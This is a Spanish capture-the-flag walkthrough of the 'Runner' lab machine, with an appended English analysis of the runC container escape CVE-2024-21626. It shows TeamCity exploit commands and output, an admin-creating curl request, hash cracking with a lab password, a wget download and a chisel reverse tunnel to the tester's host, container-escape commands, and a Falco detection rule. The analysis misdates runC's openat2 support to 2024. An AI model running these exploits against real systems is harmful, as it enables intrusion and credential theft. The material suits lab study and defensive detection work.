Runner

nmap

nmap 10.10.11.13
Starting Nmap 7.94SVN (https://nmap.org) at 2024-04-28 15:01 EDT
Nmap scan report for runner.htb (10.10.11.13)
Host is up (0.13s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp   open ssh
80/tcp   open http
8000/tcp open http-alt

Nmap done: 1 IP address (1 host up) scanned in 4.08 seconds

vim /etc/hosts
10.10.11.13   runner.htb

whatweb 10.10.11.13
http://10.10.11.13 [302 Found] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.13], RedirectLocation[http://runner.htb/], Title[302 Found], nginx[1.18.0]
http://runner.htb/ [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[sales@runner.htb], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.13], JQuery[3.5.1], PoweredBy[TeamCity!], Script, Title[Runner - CI/CD Specialists], X-UA-Compatible[IE=edge], nginx[1.18.0]

#Encontramos un subdominio:

teamcity.runner.htb

#Lo añadimos en /etc/hosts, nos dirigimos a la página:
#Vemos la versión que se está ejecutando.

Version 2023.05.3 (build 129390)

#En este punto, buscaremos algun exploit.
https://www.google.com/search?client=firefox-b-e&q=Version+2023.05.3+temcity+exploit
https://www.exploit-db.com/exploits/51884

#Descargamos el PoC.
python3 51884.py -u http://teamcity.runner.htb -v

```
============================================================
*       CVE-2023-42793                     *
*  TeamCity Admin Account Creation         *
*                                          *
*  Author: ByteHunter                      *
============================================================
```

Token: eyJ0eXAiOiAiVENWMiJ9.eXNTZWpGWk5iaFRFTWlsUFZkRzN3a3RuSGVV.OTYzNjhjZGQtM2QwZC00MmRlLWJjNTgtYzUxYmNiZTJlMzlh
Successfully exploited!
URL: http://teamcity.runner.htb
Username: city_adminAotS
Password: Main_password!!**
Final curl command: curl --path-as-is -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.eXNTZWpGWk5iaFRFTWlsUFZkRzN3a3RuSGVV.OTYzNjhjZGQtM2QwZC00MmRlLWJjNTgtYzUxYmNiZTJlMzlh" -X POST http://teamcity.runner.htb/app/rest/users -H "Content-Type: application/json" --data '{"username": "city_adminAotS", "password": "theSecretPass!", "email": "nest@nest", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}'

#Iniciamos sesión con las credenciales.
#Nos dirigimos a: http://teamcity.runner.htb/admin/admin.html?item=projects

#En la sección de Backup, crearemos uno.
#Lo descargaremos http://teamcity.runner.htb/get/file/backup/TeamCity_Backup_20240501_085405.zip
#Podemos encontrar un fichero con las claves ssh.
/root/Desktop/machines/Runner/config/projects/AllProjects/pluginData/ssh_keys/

#Trataremos de hacer login mediante ssh con el fichero id_rsa.
#Aunque primero, necesitamos algún usuario.
#Buscaremos algun usuario disponible en teamcity.runner.htb

http://teamcity.runner.htb/admin/admin.html?item=users

#Vemos estos usuarios:
admin
JO_ John john@runner.htb View groups (1) View roles (1/1) 01 May 24 08:51:02
city_admin6nuu
CA_ N/A angry-admin@funnybunny.org View groups (1) View roles (1/1) 01 May 24 08:18:53
city_adminaots
CA_ N/A angry-admin@funnybunny.org View groups (1) View roles (1/1) 01 May 24 08:52:32

htbuser
HT_ N/A N/A View groups (1) View roles (1/1) 01 May 24 07:18:51
matthew
MA_ Matthew matthew@runner.htb View groups (1) View roles (1/1) 28 Feb 24 20:00:21

#Ahora, con el comnado grep -r, buscaremos alguna referencia sobre estos usuarios.

grep -r "matthew"
database_dump/users:2, matthew, $2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em, Matthew, matthew@runner.htb, 1709150421438, BCRYPT
database_dump/vcs_username:2, anyVcs, -1, 0, matthew
user.txt:matthew

john

grep -r "matthew"
database_dump/users:2, matthew, $2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em, Matthew, matthew@runner.htb, 1709150421438, BCRYPT
database_dump/vcs_username:2, anyVcs, -1, 0, matthew
user.txt:matthew

grep -r "john"
database_dump/comments:201, -42, 1709746543407, "New username: \'admin\', new name: \'John\', new email: \'john@runner.htb\'"
database_dump/users:1, admin, $2a$07$neV5T/BlEDiMQUs.gM1p4uYl8xl8kvNUo4/8Aja2sAWHAQLWqufye, John, john@runner.htb, 1714553462608, BCRYPT

#Parece que tenemos dos hashes. Trataremos de crackearlos.
#Buscamos de que tipo de hash se trata en: https://hashes.com/en/tools/hash_identifier
$2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em - Possible algorithms: bcrypt $2*$, Blowfish (Unix)

#Probaremos con john.
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 128 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
piper123 (?)

#Ahora, iniciaremos sesión en SSH con las credenciales de Jhon.

ssh -i id_rsa john@10.10.11.13
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-102-generic x86_64)

 * Documentation: https://help.ubuntu.com
 * Management: https://landscape.canonical.com
 * Support: https://ubuntu.com/pro

 System information as of Wed May 1 09:24:23 AM UTC 2024

 System load: 0.2568359375 Users logged in: 0
 Usage of /: 90.6% of 9.74GB IPv4 address for br-21746deff6ac: 172.18.0.1
 Memory usage: 42% IPv4 address for docker0: 172.17.0.1
 Swap usage: 0% IPv4 address for eth0: 10.10.11.13
 Processes: 222

 => / is using 90.6% of 9.74GB

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Wed May 1 06:58:06 2024 from 10.10.16.17
john@runner:~$

priv_escalation

#Buscaremos alguna conexión interesante.
john@runner:~$ netstat -lantp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:9000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:5005 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -

#Estos son los puertos abiertos:
john@runner:~$ netstat -lantp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:9000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:5005 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:9443 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8111 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -

#Nos fijamos bien en el 9000.
#Usaremos chisel para realizar un port forwarding.
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.13 - - [01/May/2024 05:36:50] "GET /chisel HTTP/1.1" 200 -

wget http://10.10.14.237/chisel
--2024-05-01 09:36:49-- http://10.10.14.237/chisel
Connecting to 10.10.14.237:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8654848 (8.3M) [application/octet-stream]
Saving to: ‘chisel’

chisel 100%[==========>] 8.25M 2.42MB/s in 3.4s

2024-05-01 09:36:52 (2.42 MB/s) - ‘chisel’ saved [8654848/8654848]

#En localhost:
./chisel server -port 7777 --reverse
2024/05/01 05:39:08 server: Reverse tunnelling enabled
2024/05/01 05:39:08 server: Fingerprint 1FJJJXlqthaLrVW4VCwaPdsGdwqE19R4dmkYzNyI4so=
2024/05/01 05:39:08 server: Listening on http://0.0.0.0:7777
2024/05/01 05:39:11 server: session#1: tun: proxy#R:9000=>9000: Listening
/05/01 05:39:08 server: Reverse tunnelling enabled

#En la máquina vícitima:
chmod +x chisel
john@runner:~$ ./chisel client 10.10.14.237:7777 R:9000:127.0.0.1:9000
2024/05/01 09:39:10 client: Connecting to ws://10.10.14.237:7777
2024/05/01 09:39:11 client: Connected (Latency 131.945623ms)

#Nos dirigimos a http://127.0.0.1:9000/#!/auth
#Usaremos las credenciales del usuario mathew.
matthew:piper123

#Vemos un sistema gestor de Dockers.
#Antes de sumergirme en la creación de contenedores, estableceré un volumen para garantizar una gestión de datos perfecta. Con un volumen dedicado implementado, tendremos una solución de almacenamiento confiable para nuestro entorno en contenedores.

#Primero, creamos el volumen.
http://127.0.0.1:9000/#!/1/docker/volumes/new

#Ahora, creamos el contenedor.
http://127.0.0.1:9000/#!/1/docker/containers/new

#Seleccionamos el "Interactive TTY"
#Indicamos la ubicación del container: /user
#En Image, indicamos: teamcity:latest
#Working dir: “/proc/self/fd/8”

#Luego, le daremos en "deploy".
#Nos dejará ejecutar comandos: http://127.0.0.1:9000/#!/1/docker/containers/ca4992e57d81ba36f152d88a6ec44a31a56a0d93741b09c39a73386a79f1202c/exec

#Indicamos que queremos ejecutar el /bin/bash como usuario root.
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
root@0d3aa3045e34:.# whoami
job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory

```
root
root@0d3aa3045e34:.# cat ../../../../../root/root.txt
job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
7b14ea03a459dd40aec38fbeafb16c54
root@0d3aa3045e34:.#
```

CVE-2024-21626

https://nitroc.org/en/posts/cve-2024-21626-illustrated/?source=post_page-----0e0513cda74a----------------------------#falco

Illustrate runC Escape Vulnerability CVE-2024-21626

runC, a container runtime component, published version 1.1.12 to fix CVE-2024-21626 at 31, Jan 2024, which leads to escaping from containers. The range of affected versions are >= v1.0.0-rc93, <=1.1.11. For containerd the fixed versions are 1.6.28 and 1.7.13, the range of affected versions are 1.4.7 to 1.6.27 and 1.7.0 to 1.7.12. For Docker the fixed version is 25.0.2.
Repdoruce

My environment to repdouce it is:

- Linux distro: Arch Linux
- Linux kernel: 6.4.12-arch1-1
- Docker version: 24.0.6
- runc version: 1.1.9

According to the root cause of the vulnerability, attackers can exploit via two different ways:

Set the working directory of the container to /proc/self/fd/<fd> (where <fd> stands for the file descriptor when opening /sys/fs/cgroup in host filesystem. Usually it's 7 or 8) when running a container.
Create a symlink for /proc/self/fd/<fd> (where <fd> stands for the file descriptor when opening /sys/fs/cgroup in host filesystem. Usually it's 7 or 8). When users execute commands inside the container via docker exec or kubectl exec by setting the working directory to the symlink, attackers can access host filesystem through /proc/<PID>/cwd, where <PID> stands for the PID of the process generated by docker exec or kubectl exec command.

Exploit via Setting Working Directory to /proc/self/fd/

Just run the following command:

```
docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm
```

/images/cve-2024-21626-escape-via-crafted-image.gif
Exploit via docker exec

Start a container and create a symlink for /proc/self/fd/8.

Execute docker exec command with -w parameter to execute sleep command in the container.

Inside the container, find PID of sleep command, then access host filesystem via /proc/<PID>/cwd. For example, execute cat /proc/<PID>/cwd/../../../../../etc/shadow to get shadow file in host filesystem.

/images/cve-2024-21626-escape-via-exec.gif
Analyze CVE-2024-21626

In this section, I'll describe the calling relationship among the components at first. Then reproduce the vulnerability again with runc run command, and explain how the vulnerability happens. Lastly analyze the code to fix the vulnerability.
How Docker Engine Calls runC

When running a container with docker run command, the calling relationship among dockerd, containerd, containerd-shim-runc-v2 and runc is:
/run/containerd/containerd.sock
fork(2) & execve(2)
fork(2) & execve(2)
dockerd
containerd
containerd-shim-runc-v2
runc

Docker Engine (dockerd) calls RPC methods of containerd to create and run a container via /run/containerd/containerd.sock.
containerd executes containerd-shim-runc-v2 command to run a standalone RPC service via UNIX domain socket, the path of which is stored in file /run/containerd/io.containerd.v2.task/moby/<containerID>/address by default. The definition of the RPC service lies on file /api/runtime/task/v3/shim.proto.
When containerd calls Create method of containerd-shim-runc-v2 to create a container, containerd-shim-runc-v2 executes runc create command. When containerd calls Start method of containerd-shim-runc-v2 to start a container, containerd-shim-runc-v2 executes runc start command.

By the way, containerd creates a package called github.com/containerd/go-runc to encapsulate operations of runC.
Reproduce via runC Itself

Use Docker to run a container with alpine image, then export it as a tar archive. We'll use it as rootfs of our container later.

Execute runc spec command to generate a default config file config.json, and change the value of key cwd to /proc/self/fd/7.

Run a container by executing runc run command to create a exploitable container. Note that --log parameter is necessary!

/images/cve-2024-21626-reproduce-via-runc.gif
How the Vulnerability Happens
if openat2 syscall failed
startContainer
createContainer
(*linuxFactory).Create
(*manager).GetFreezerState
cgroups.prepareOpenat2
openFallback

runc run command creates a libcontainer.linuxContainer object at first. In order to create the object, runC needs to create an interface object called cgroups.Manager, which is used to manage cgroupfs. It'll open /sys/fs/cgroup in host filesystem, and subsequent operations to cgroup files are based on openat2(2) system call and the file descriptor of /sys/fs/cgroup. But runC donesn't close the file descriptor of /sys/fs/cgroup in time when forking child processes, so that child processes can access host filesystem through /proc/self/fd/<fdnum>.

Notice that if calling openat2(2) system call failed (if openat2(2) doesn't exist), runC will call function openFallback() to open cgroup files with absolute paths.
Why runC Decides to Use openat2(2)

runC added support to openat2(2) in 4, Dec 2024, aka version v1.0.0-rc93. The answer, in brief, is to prevent potential security risks when mounting directories in host filesystem into mount namespace of containers. It's a long story to give a detailed explanation, and deserved to write another article. For now you can refer to this article and manual of openat2(2).
Why the File Descriptor of /sys/fs/cgroup is 7

Well, it's related to Golang runtime. First there is no doubt that file descriptor 0, 1 and 2 are stands for stdin, stdout, stderr. The file descriptor of the log file specified by --log parameter is 3. Golang runtime subsequently calls epoll_create(2) to create file descriptor 4 and pipe(2) to create two file descriptors 5 and 6. Now, opening /sys/fs/cgroup creates file descriptor 7.

The reason why opening the log file at first, then Go runtime calling epoll_create(2) and pipe2(2) is related to the implementation of Go runtime, it's a long story again.

Why the File Descriptor of /sys/fs/cgroup is 8 when Running a Container with docker exec

From the first part of this section, we know that it's containerd-shim-runc-v2 that calls runc command, and containerd-shim-runc-v2 provides a RPC service via UNIX domain socket before executing runC, so the file descriptor which stands for the UNIX domain socket is passed to runC process by mistake.

We can prove the reason in this way. Add a new line to call sleep() function at the very beginning of nsexec() function in file nsexec.c. We can get the relationship of file descriptors between containerd-shim-runc-v2 and runc create.

/images/rpc-socket-passed-to-runc.png

Process runc create is blocked immediately after it's been created because of our added sleep function. From the screenshot above Process runc create has 4 file descriptors:

0 stands for stdin. It's been redirected to /dev/null because containerd-shim-runc-v2 don't need to send any input data to runC.
1 and 2 stands for stdout and stderr. They refer to the same pipe from containerd-shim-runc-v2, because containerd-shim-runc-v2 wants to collect and store them.
3 stands for the UNIX domain socket used to be provide the RPC service.

/images/sys-fs-cgroup-with-fd-8.png

PID 1374988 in the screenshot above stands for runc:[2:INIT] process, which in turn will become the container process after calling execve(2). We can see that the fd of /sys/fs/cgroup is 8, just beucase of the UNIX domain socket offering RPC service!

It's still unclear why sometimes the fd of /sys/fs/cgroup is still 7 when running containers via docker exec. Guess that it's still related to Go runtime.

The Magic --log Parameter

when reproducing the vulnerability via runC itself, if we didn't specify --log parameter, the fd of /sys/fs/cgroup would become 3, thus the exploit would not happen, cause Go runtime would close it. The reason is related to the implementation of Go runtime.

As we all know, we use fork(2) to create a child process on Linux, and the child process will inherit all opened file descriptors from the parent process. But when executing a new program by using execve(2), Linux kernel will close those file descriptors which have O_CLOEXEC flag set. But the remaining opened file descriptors are still accessible for the newly loaded program. In this case, it may lead to potential security risk.

In order to solve the problem, the design of Golang is to prevent child processes from inheriting all file descriptors by default. Developers need to pass those file descriptors to be inherited explicitly. Specifically, Golang runtime sets O_CLOEXEC flag for each file descriptor. For those to be inherited, Golang runtime uses dup3(2) to duplicate new file descriptors. Be notice that those file descriptors created by calling raw syscalls don't be flagged as O_CLOEXEC by default, so for these file descriptors whether they can be inherited by child processes depends on the actual situation. If the value of file descriptor is greater than len(Cmd.ExtraFiles) + 3, it can be inherited successfully. Otherwise it'll be closed. You can read the source code of Golang to get more detail.
How the Official Fixes it

We see four commits to fix the vulnerability in the repo, 8e1cd2、f2f162、89c93d、ee7309. The last three commits aims to close unnecessary file descriptors before forking children. The first commit aims to verify whether the current working directory is inside container or not.
How to detect

The exploits have the following characteristics:

A container will execve(2) a process with a special working directory which starts with /proc/self/fd/.
A container will create symbolic links via symlink(2) or symlinkat(2) with a special target directory link which starts with /proc/self/fd/.
A container will open files via open(2), openat(2) or openat2(2) with filenames like /proc/\d+/cwd/.*.

Leaky vessels dynamic detector from synk

Synk offers a tool to detect this vulnerability. It's implemented by using eBPF, but eBPF code is not open-source. I'll write a article later to RE it.
Falco

Here is the custom Falco rule:

```
- macro: container
  condition: (container.id != host and container.name exists)

- rule: CVE-2024-21626 (runC escape through /proc/[PID]/cwd) exploited
  desc: >
    Detect CVE-2024-21626, runC escape vulerability through /proc/[PID]/cwd.
  condition: >
    container and ((evt.type = execve and proc.cwd startswith "/proc/self/fd") or (evt.type in (open, openat, openat2) and fd.name glob "/proc/*/cwd/*") or (evt.type in
(symlink, symlinkat) and fs.path.target startswith "/proc/self/fd/")) and proc.name != "runc:[1:CHILD]"
  output: CVE-2024-21626 exploited (%container.info evt_type=%evt.type process=%proc.name command=%proc.cmdline target=%fs.path.targetraw)
  priority: CRITICAL
```

But filtering false positives with proc.name is not a good idea.